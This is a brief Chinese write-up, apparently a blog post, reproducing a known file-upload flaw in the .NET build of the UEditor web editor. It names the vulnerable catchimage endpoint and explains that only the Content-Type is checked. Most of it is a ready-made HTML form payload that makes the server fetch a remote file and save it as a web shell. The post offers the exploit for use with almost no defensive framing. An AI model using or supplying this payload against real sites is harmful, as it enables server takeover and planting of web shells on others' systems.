ueditor文件上传getshell实战复现

2022-07-09 13:07:32

漏洞存在点：

http://localhost/ueditor/net/controller.ashx?action=catchimage&encode=utf-8

漏洞原因：controller.ashx文件下只校验ContentType而没校验文件后缀导致getshell。

payload如下，并保存为html格式

<form action="http://localhost/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"enctype="application/x-www-form-urlencoded"  method="POST">
    shell addr: <input type="text" name="source[]" />
                <input type="submit" value="Submit" />
</form>